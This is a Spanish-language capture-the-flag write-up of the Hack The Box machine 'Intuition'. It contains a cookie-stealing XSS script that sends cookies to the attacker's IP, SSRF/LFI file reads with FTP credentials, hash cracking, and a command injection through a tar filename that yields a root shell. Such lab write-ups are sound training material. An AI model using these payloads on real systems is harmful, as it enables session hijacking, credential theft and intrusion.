Hack The Box: Intuitions Writeup | Hard

Table of Contents

Hack The Box: Intuition Writeup

Welcome to my detailed writeup of the hard difficulty machine “Intuition” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

Enumeration

Con nmap descubrimos estos puertos abiertos.

122/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2| ssh-hostkey: 
3|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
4|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
580/tcp open  http    nginx 1.18.0 (Ubuntu)
6|_http-server-header: nginx/1.18.0 (Ubuntu)
7|_http-title: Did not follow redirect to http://comprezzor.htb/
8Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Haciendo un breve reconocimiento en la web y utilizando wfuzz encontramos los siguientes subdominios.

En auth.comprezzor.htb podemos hacernos una cuenta y acceder a report.comprezzor.htb`

Vemos que se utiliza cifrado LMZA, esto nos recuerda al último backdoor que ocurrió en OpenSSH con la librería “xz” pero no van por ahí los tiros.

FootHold

Encontramos un XSS en report.comprezzor.htb. Write-up Image

1$ python3 -m http.server 8000
2Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
310.129.230.246 - - [29/Jul/2024 19:40:09] code 404, message File not found
410.129.230.246 - - [29/Jul/2024 19:40:09] "GET /img.png HTTP/1.1" 404 -

Por lo cual, podemos probar a ver si no hay ningún tipo de sanitización y podemos inyectar un script de javascript.

1// evil.js
2const cookies = document.cookie
3
4fetch("http://10.10.14.71:8000/collect?c=" + document.cookie).
5	then(d => console.log("Consulta realizada"))

Write-up Image

1$ python3 -m http.server 8000
2Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
310.129.230.246 - - [29/Jul/2024 19:34:05] "GET /evil.js HTTP/1.1" 304 -
410.129.230.246 - - [29/Jul/2024 19:34:05] code 404, message File not found
510.129.230.246 - - [29/Jul/2024 19:34:05] "GET /collect?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 404 -

Esta cookie, podemos utilizarla para iniciar sesión en el subdominio. dashboard.comprezzor.htb

Write-up Image

Después de investigar un rato, podemos suponer que los reportes con alta prioridad serán revisados por un usuario administrador, por lo cual si en este panel si inyectamos otra vez el script malicioso y lo establecemos como alta prioridad..

110.129.230.246 - - [29/Jul/2024 19:36:55] "GET /collect?c=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 404

Tenemos una cookie distinta, y si la decodificamos de base64.

1echo "eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5" | base64 -d
2{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9

Ahora podemos acceder al panel de administración como el usuario admin.

Write-up Image

Local File Inclusion

En este panel veo una funcionalidad que me llama la atención. /create_pdf_report . Lo primero que pienso es en un SSRF pero primero hay que enumerar que hace esta funcionalidad.

Write-up Image

Podemos hacer una especie de captura de pantalla de la URL que queramos. Write-up Image

1$ exiftool report_88754.pdf | grep Creator
2Creator                         : wkhtmltopdf 0.12.6

Podemos ver la herramienta utilizada para esta funcionalidad, y una simple búsqueda en Google nos reporta que esta herramienta tiene una vulnerabilidad de tipo SSRF. Write-up Image

Detecto un comportamiento un tanto extraño Ya que si intentamos apuntar a un recurso local del sistema nos reporta que la URL es inválida. Write-up Image Pero si introducimos un espacio delante, nos reporta un error distinto. Write-up Image

Si nos ponemos en escucha con nc podemos detectar que de esta función se encarga una utilidad en Python.

1nc -lvnp 8000
2listening on [any] 8000 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.230.246] 55388
4GET / HTTP/1.1
5Accept-Encoding: identity
6Host: 10.10.14.71:8000
7**User-Agent: Python-urllib/3.11**

Pero bueno, aprovechandonos del error encontrado al espaciar la URL, podemos cargar un recurso local del sistema con file://. Write-up Image

Ahora cargando el /proc/self/cmdline podemos ver cual ha sido el comando para ejecutar el proceso del que depende esta funcionalidad.

Write-up Image

Filtrando el código fuente

Por lo cual, podemos cargar el archivo /app/code/app.py y podemos ver dos cosas interesantes.

Write-up Image

Cargando el archivo /app/code/blueprints/index/index.py Write-up Image

Este archivo no nos sirve de nada pero ya sabemos que la ruta existe. Una vez sabiendo que esta ruta existe, gracias al app.py podemos suponer que también existen estos recursos.

Antes, en el panel de administración, había detectado una funcionalidad que no sabía exactamente que es lo que hacía. Write-up Image

Vamos a echar un ojo al archivo dashboard.py a ver que contiene.. Si miramos con ojo de halcón, detectamos la siguiente linea. ftp.login(user='ftp_admin', passwd='u3jai8y71s2')

Write-up Image

Intento iniciar sesión por ssh pero no es posible.

1ssh ftp_admin@comprezzor.htb
2The authenticity of host 'comprezzor.htb (10.129.230.246)' can't be established.
3ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'comprezzor.htb' (ED25519) to the list of known hosts.
7ftp_admin@comprezzor.htb's password:

Recordemos que el puerto 21/TCP estaba cerrado, pero gracias a este LFI, podemos cargar recursos del FTP ya que podemos solicitar el recurso ftp://ftp_admin:u3jai8y71s2@ftp.local

Consiguiendo una id_rsa

Write-up Image Hay un archivo private-*.key que me llama la atención.

Ahora lo podemos solicitar a través del SSRF con ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

Y tenemos una clave privada. Write-up Image

Como no se para que usuario es esta clave privada, podemos revisar el archivo welcome_note.txt Y vemos que esto es para los desarrolladores, por lo cual el nombre de usuario seguramente contenga la palabra dev. Además también vemos una passphrase para esta clave privada. Y27SH19HDIWD

Write-up Image

Pero simplemente podemos comprobar a que usuario pertenece esta clave privada validando a con ssh-add la passphrase que hemos encontrado añadiendola a nuestro repositorio de claves privadas.

1$ ssh-add id_rsa 
2Enter passphrase for id_rsa: 
3Identity added: id_rsa (dev_acc@local)

dev_acc es el nombre de usuario de esta clave privada, ahora vamos a intentar iniciar sesión en la máquina víctima. Aunque antes vamos a eliminar la clave privada de mi repositorio.

1$ ssh-add -d id_rsa 
2Identity removed: id_rsa RSA (no comment)
1$ ssh dev_acc@comprezzor.htb -i id_rsa 
2Enter passphrase for key 'id_rsa': 
3Last login: Mon Jul 29 16:29:28 2024 from 10.10.14.71
4dev_acc@intuition:~$ id
5uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)

User Pivoting

Enumerando la aplicación web en /var/www/app podemos ver que de base de datos utiliza SQLite3 ya que se emplean archivos .db.

1dev_acc@intuition:/var/www/app/blueprints/report$ ls
2__pycache__  report.py  report_utils.py  reports.db  reports.sql

Por lo cual, para acceder a los usuarios de la plataforma (recordemos que había una sección de autenticación) simplemente tenemos que acceder al archivo .db correspondiente.

Crackeando el hash de adam

1dev_acc@intuition:/var/www/app/blueprints/auth$ ls -la
2total 40
3drwxr-xr-x 3 root root  4096 Jul 29 16:30 .
4drwxr-xr-x 6 root root  4096 Apr 10 08:21 ..
5drwxr-xr-x 2 root root  4096 Apr 10 08:21 __pycache__
6-rw-r--r-- 1 root root  1842 Sep 18  2023 auth.py
7-rw-r--r-- 1 root root  3038 Sep 19  2023 auth_utils.py
8-rw-r--r-- 1 root root 16384 Jul 29 16:30 users.db
9-rw-r--r-- 1 root root   171 Sep 18  2023 users.sql

Vemos al usuario adam y admin y un hash sha256. Write-up Image

Este hash lo podemos identificar y crackear con el modo autodetect de hashcat.

1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe  .\hash.txt .\rockyou.txt
 1sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
 2
 3Session..........: hashcat
 4Status...........: Cracked
 5Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)))
 6Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43
 7Time.Started.....: Mon Jul 29 18:46:39 2024 (2 secs)
 8Time.Estimated...: Mon Jul 29 18:46:41 2024 (0 secs)
 9Kernel.Feature...: Pure Kernel
10Guess.Base.......: File (.\rockyou.txt)
11Guess.Queue......: 1/1 (100.00%)
12Speed.#1.........:  6201.3 kH/s (12.48ms) @ Accel:256 Loops:1 Thr:64 Vec:1

Pero esta no es la contraseña para el usuario adam

1dev_acc@intuition:/var/www/app/blueprints/auth$ su adam
2Password: 
3su: Authentication failure

Así que vamos a intentar enumerar el FTP ya que antes hemos visto que estaba abierto.

1dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@127.0.01
2Connected to 127.0.01.
3220 pyftpdlib 1.5.7 ready.
4331 Username ok, send password.
5Password: 
6230 Login successful.
7Remote system type is UNIX.
8Using binary mode to transfer files.

Dentro del FTP, en /backup/runner1 nos encontramos los siguientes ficheros.

1150 File status okay. About to open data connection.
2-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
3-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
4-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
 1# run-tests.sh
 2#!/bin/bash
 3
 4# List playbooks
 5./runner1 list
 6
 7# Run playbooks [Need authentication]
 8# ./runner run [playbook number] -a [auth code]
 9#./runner1 run 1 -a "UHI75GHI****"
10
11# Install roles [Need authentication]
12# ./runner install [role url] -a [auth code]
13#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

Aquí podemos ver que se utiliza un tipo de código de autenticación el cual podemos ver entero excepto 4 carácteres.

El binario runner1 suponemos que es el archivo runner1.c compilado, vamos a echarle un vistazo.

  1// runner1.c
  2// Version : 1
  3
  4#include <stdio.h>
  5#include <stdlib.h>
  6#include <string.h>
  7#include <dirent.h>
  8#include <openssl/md5.h>
  9
 10#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
 11#define PLAYBOOK_LOCATION "/opt/playbooks/"
 12#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
 13#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
 14#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
 15
 16int check_auth(const char* auth_key) {
 17    unsigned char digest[MD5_DIGEST_LENGTH];
 18    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
 19
 20    char md5_str[33];
 21    for (int i = 0; i < 16; i++) {
 22        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
 23    }
 24
 25    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
 26        return 1;
 27    } else {
 28        return 0;
 29    }
 30}
 31
 32void listPlaybooks() {
 33    DIR *dir = opendir(PLAYBOOK_LOCATION);
 34    if (dir == NULL) {
 35        perror("Failed to open the playbook directory");
 36        return;
 37    }
 38
 39    struct dirent *entry;
 40    int playbookNumber = 1;
 41
 42    while ((entry = readdir(dir)) != NULL) {
 43        if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
 44            printf("%d: %s\n", playbookNumber, entry->d_name);
 45            playbookNumber++;
 46        }
 47    }
 48
 49    closedir(dir);
 50}
 51
 52void runPlaybook(const char *playbookName) {
 53    char run_command[1024];
 54    snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
 55    system(run_command);
 56}
 57
 58void installRole(const char *roleURL) {
 59    char install_command[1024];
 60    snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
 61    system(install_command);
 62}
 63
 64int main(int argc, char *argv[]) {
 65    if (argc < 2) {
 66        printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
 67        return 1;
 68    }
 69
 70    int auth_required = 0;
 71    char auth_key[128];
 72
 73    for (int i = 2; i < argc; i++) {
 74        if (strcmp(argv[i], "-a") == 0) {
 75            if (i + 1 < argc) {
 76                strncpy(auth_key, argv[i + 1], sizeof(auth_key));
 77                auth_required = 1;
 78                break;
 79            } else {
 80                printf("Error: -a option requires an auth key.\n");
 81                return 1;
 82            }
 83        }
 84    }
 85
 86    if (!check_auth(auth_key)) {
 87        printf("Error: Authentication failed.\n");
 88        return 1;
 89    }
 90
 91    if (strcmp(argv[1], "list") == 0) {
 92        listPlaybooks();
 93    } else if (strcmp(argv[1], "run") == 0) {
 94        int playbookNumber = atoi(argv[2]);
 95        if (playbookNumber > 0) {
 96            DIR *dir = opendir(PLAYBOOK_LOCATION);
 97            if (dir == NULL) {
 98                perror("Failed to open the playbook directory");
 99                return 1;
100            }
101
102            struct dirent *entry;
103            int currentPlaybookNumber = 1;
104            char *playbookName = NULL;
105
106            while ((entry = readdir(dir)) != NULL) {
107                if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
108                    if (currentPlaybookNumber == playbookNumber) {
109                        playbookName = entry->d_name;
110                        break;
111                    }
112                    currentPlaybookNumber++;
113                }
114            }
115
116            closedir(dir);
117
118            if (playbookName != NULL) {
119                runPlaybook(playbookName);
120            } else {
121                printf("Invalid playbook number.\n");
122            }
123        } else {
124            printf("Invalid playbook number.\n");
125        }
126    } else if (strcmp(argv[1], "install") == 0) {
127        installRole(argv[2]);
128    } else {
129        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
130        return 1;
131    }
132
133    return 0;
134}

Este programa en C permite gestionar playbooks de Ansible, listar archivos de playbooks, ejecutar playbooks específicos y instalar roles de Ansible Galaxy, todo ello tras una verificación de autenticación mediante una clave hash MD5. A continuación se explica detalladamente cada sección del programa:

  1. Definiciones y Constantes:

    • Se definen las ubicaciones de archivos y comandos necesarios.
    • AUTH_KEY_HASH almacena un hash MD5 para la autenticación.
  2. Función check_auth:

    • Toma una clave de autenticación (auth_key) y calcula su hash MD5.
    • Compara el hash calculado con AUTH_KEY_HASH.
    • Devuelve 1 si coinciden, indicando autenticación exitosa, o 0 en caso contrario.
  3. Función listPlaybooks:

    • Abre el directorio especificado en PLAYBOOK_LOCATION.
    • Lista todos los archivos que terminan en .yml, numerándolos.
  4. Función runPlaybook:

    • Construye un comando para ejecutar un playbook específico usando ansible-playbook.
    • Usa el archivo de inventario especificado en INVENTORY_FILE.
  5. Función installRole:

    • Construye un comando para instalar un rol de Ansible Galaxy usando ansible-galaxy.
  6. Función main:

    • Procesa los argumentos de la línea de comandos.
    • Verifica que se ha proporcionado una clave de autenticación y la comprueba.
    • Según el primer argumento (list, run, install):
      • Llama a listPlaybooks para listar los playbooks.
      • Llama a runPlaybook para ejecutar un playbook específico, determinado por su número en la lista.
      • Llama a installRole para instalar un rol desde una URL.

Crackeando el hash de runner.c

El flujo principal del programa incluye una verificación de autenticación antes de permitir cualquier operación. Si la autenticación falla, el programa termina con un mensaje de error.

Este hash MD5 lo podemos crackear ya que sabemos que la contraseña empieza por “UHI75GHI” y sigue por 4 carácteres que probablemente sean mayúsculas y numéricos.

Con hashcat podemos hacer un ataque de fuerza bruta por máscara.

`hashcat -m 0 -a 3 -1 ?u?d hashes.txt UHI75GHI?1?1?1?1

 10feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
 2
 3Session..........: hashcat
 4Status...........: Cracked
 5Hash.Mode........: 0 (MD5)
 6Hash.Target......: 0feda17076d793c2ef2870d7427ad4ed
 7Time.Started.....: Mon Jul 29 19:01:29 2024 (0 secs)
 8Time.Estimated...: Mon Jul 29 19:01:29 2024 (0 secs)
 9Kernel.Feature...: Pure Kernel
10Guess.Mask.......: UHI75GHI?1?1?1?1 [12]
11Guess.Charset....: -1 ?u?d, -2 Undefined, -3 Undefined, -4 Undefined

Por ahora esta password no nos sirve de nada, pero nos servirá para terminar de escalar privilegios.

Information Leakage via privileged logs

Pasando el linpeas.sh podemos ver algo extraño. Write-up Image

Vamos a revisar ese directorio.

Vemos un montón de logs y tenemos permiso de lectura.

 1dev_acc@intuition:/var/log/suricata$ ls -la
 2total 40576
 3drwxr-xr-x  2 root root       4096 Jul 29 15:08 .
 4drwxrwxr-x 12 root syslog     4096 Jul 29 15:08 ..
 5-rw-r--r--  1 root root          0 Jul 29 15:08 eve.json
 6-rw-r--r--  1 root root   16703683 Jul 29 15:08 eve.json.1
 7-rw-r--r--  1 root root    5760612 Oct 26  2023 eve.json.1-2024040114.backup
 8-rw-r--r--  1 root root          0 Apr  8 14:19 eve.json.1-2024042213.backup
 9-rw-r--r--  1 root root          0 Apr 22 13:26 eve.json.1-2024042918.backup
10-rw-r--r--  1 root root          0 Apr 29 18:27 eve.json.1-2024072915.backup
11-rw-r--r--  1 root root     214743 Oct 28  2023 eve.json.5.gz
12-rw-r--r--  1 root root    5050595 Oct 14  2023 eve.json.7.gz
13-rw-r--r--  1 root root     972578 Sep 29  2023 eve.json.8.gz
14-rw-r--r--  1 root root          0 Jul 29 15:08 fast.log
15-rw-r--r--  1 root root          0 Jul 29 15:08 fast.log.1
16-rw-r--r--  1 root root          0 Oct 26  2023 fast.log.1-2024040114.backup
17-rw-r--r--  1 root root          0 Apr  8 14:19 fast.log.1-2024042213.backup
18-rw-r--r--  1 root root          0 Apr 22 13:26 fast.log.1-2024042918.backup
19-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log.1-2024072915.backup
20-rw-r--r--  1 root root         20 Oct 26  2023 fast.log.5.gz
21-rw-r--r--  1 root root       1033 Oct  8  2023 fast.log.7.gz
22-rw-r--r--  1 root root       1485 Sep 28  2023 fast.log.8.gz
23-rw-r--r--  1 root root          0 Jul 29 15:08 stats.log
24-rw-r--r--  1 root root    7741988 Jul 29 15:08 stats.log.1
25-rw-r--r--  1 root root    4293890 Oct 26  2023 stats.log.1-2024040114.backup
26-rw-r--r--  1 root root          0 Apr  8 14:19 stats.log.1-2024042213.backup
27-rw-r--r--  1 root root          0 Apr 22 13:26 stats.log.1-2024042918.backup
28-rw-r--r--  1 root root          0 Apr 29 18:27 stats.log.1-2024072915.backup
29-rw-r--r--  1 root root      73561 Oct 28  2023 stats.log.5.gz
30-rw-r--r--  1 root root     376680 Oct 14  2023 stats.log.7.gz
31-rw-r--r--  1 root root      67778 Sep 29  2023 stats.log.8.gz
32-rw-r--r--  1 root root          0 Jul 29 15:08 suricata.log
33-rw-r--r--  1 root root      26867 Jul 29 15:08 suricata.log.1
34-rw-r--r--  1 root root       3893 Oct 26  2023 suricata.log.1-2024040114.backup
35-rw-r--r--  1 root root      68355 Apr  8 14:19 suricata.log.1-2024042213.backup
36-rw-r--r--  1 root root      95100 Apr 22 13:26 suricata.log.1-2024042918.backup
37-rw-r--r--  1 root root      26145 Apr 29 18:27 suricata.log.1-2024072915.backup
38-rw-r--r--  1 root root        990 Apr  1 14:50 suricata.log.5.gz
39-rw-r--r--  1 root root       1412 Oct 19  2023 suricata.log.7.gz
40-rw-r--r--  1 root root       5076 Oct  8  2023 suricata.log.8.gz

Con zgrep podemos filtrar por palabras que nos interesen como user y pass zgrep -i -w pass ./*.gz | less

Y podemos detectar una supuesta credencial en el fichero eve.json -> Lopezzz1992%123 Write-up Image

También podemos ver que esa solicitud fue respondida con un Authentication failed

Un poco mas abajo vemos la supuesta contraseña válida. Write-up Image

Existe un usuario lopez en el sistema, por lo cual podemos intentar pivotar a este usuario.

1dev_acc@intuition:/var/log/suricata$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3adam:x:1002:1002:,,,:/home/adam:/bin/bash
4dev_acc:x:1001:1001:,,,:/home/dev_acc:/bin/bash
5lopez:x:1003:1003:,,,:/home/lopez:/bin/bash

¡Somos lopez!

1dev_acc@intuition:/var/log/suricata$ su lopez
2Password: 
3lopez@intuition:/var/log/suricata$

Podemos ejecutar como cualquier usuario el binario runner2

1lopez@intuition:/var/log/suricata$ sudo -l
2[sudo] password for lopez: 
3Matching Defaults entries for lopez on intuition:
4    env_reset, mail_badpass,
5    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
6    use_pty
7
8User lopez may run the following commands on intuition:
9    (ALL : ALL) /opt/runner2/runner2

Local Privilege Escalation

Ingeniería inversa al binario runner2

Me pide un archivo json

1lopez@intuition:/var/log/suricata$ sudo /opt/runner2/runner2
2Usage: /opt/runner2/runner2 <json_file>

Si creamos un comprimido con un archivo json vacío y se lo pasamos al binario..

1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/test.tar.gz 
2Error parsing JSON data.

Como por detrás se está usando ansible-playbooks, podemos deducir que para la gestión de este comprimido se está utilizando ansible-galaxy

Abriendo el binario con ghidra vemos la estructura que debe de tener el archivo .json mas o menos. Write-up Image

Sabemos que tiene que tener un atributo run y action Write-up Image

Dentro del atributo run vemos que tiene que tener un atributo auth_code que suponemos que es el mismo que para el binario runner1 Write-up Image

Y dentro el atributo run , si la action es install , debe de haber otro atributo llamado role_file Write-up Image

Si todo sale bien se llama al método installRole

 1// InstallRole Method
 2void installRole(undefined8 param_1)
 3
 4{
 5  int iVar1;
 6  long in_FS_OFFSET;
 7  char local_418 [1032];
 8  long local_10;
 9  
10  local_10 = *(long *)(in_FS_OFFSET + 0x28);
11  iVar1 = isTarArchive(param_1);
12  if (iVar1 == 0) {
13    fwrite("Invalid tar archive.\n",1,0x15,stderr);
14  }
15  else {
16    snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
17    system(local_418);
18  }
19  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
20                    /* WARNING: Subroutine does not return */
21    __stack_chk_fail();
22  }
23  return;
24}

Este método requiere un archivo .tar y le pasa al binario /usr/bin/ansible-galaxy el parámetro que recibe el método. En este caso es lo que esté en el atributo role_file

Write-up Image

Por lo cual si en el role_file incluimos un archivo .tar válido y acto seguimos inyectamos un comando, podríamos ejecutar un comando como el usuario root.

En el archivo se realiza una válidación del archivo .tar, por lo cual podemos crear un archivo .tar que se llame “loquesea.tar.gz;id” y así inyectar el comando.

Así habría quedado el archivo .json

1{
2  "run": {
3    "action": "install",
4    "role_file": "/tmp/test.tar.gz;id"
5  },
6  "auth_code": "UHI75GHINKOP"
7}

Ahora creamos el archivo .tar

1lopez@intuition:/tmp$ tar -cvf test.tar.gz test.json 
2test.json

Inyectando un comando como root

Ahora cambiamos el nombre al archivo .tar

1lopez@intuition:/tmp$ mv "test.tar.gz" "test.tar.gz;id"
1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 test.json
2Starting galaxy role install process
3[WARNING]: - /tmp/test.tar.gz was NOT installed successfully: Unknown error when
4attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
5Temporary failure in name resolution>
6ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
7uid=0(root) gid=0(root) groups=0(root)

Y se acontece la inyección del comando id y se ejecuta como el usuario root

Ahora para conseguir una bash, cambiamos el nombre del archivo a test.tar.gz;bash

1lopez@intuition:/tmp$ mv "test.tar.gz;chmod u+s bash" "test.tar.gz;bash"

Cambiamos el archivo .json

1{
2  "run": {
3    "action": "install",
4    "role_file": "/tmp/test.tar.gz;bash"
5  },
6  "auth_code": "UHI75GHINKOP"
7}

Y ejecutamos el binario..

 1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 test.json
 2Starting galaxy role install process
 3[WARNING]: - /tmp/test.tar.gz was NOT installed successfully: Unknown error when
 4attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
 5Temporary failure in name resolution>
 6ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
 7root@intuition:/tmp# cat test.json
 8{
 9  "run": {
10    "action": "install",
11    "role_file": "/tmp/test.tar.gz;bash"
12  },
13  "auth_code": "UHI75GHINKOP"
14}
15root@intuition:/tmp# id
16uid=0(root) gid=0(root) groups=0(root)

¡Y ya estaría!

#HackTheBox   #Intuitions   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Network Security   #Linux   #Reverse Shell   #Privilege Escalation   #RCE   #LFI   #UrlLib Exploitation   #Reverse Ingeniering   #Credentials Reuse   #XSS   #Cookie Hijacking   #Decrypting Password   #Information Leakage   #Codebase Exfiltration   #Password Cracking   #Code Injection   #Ansible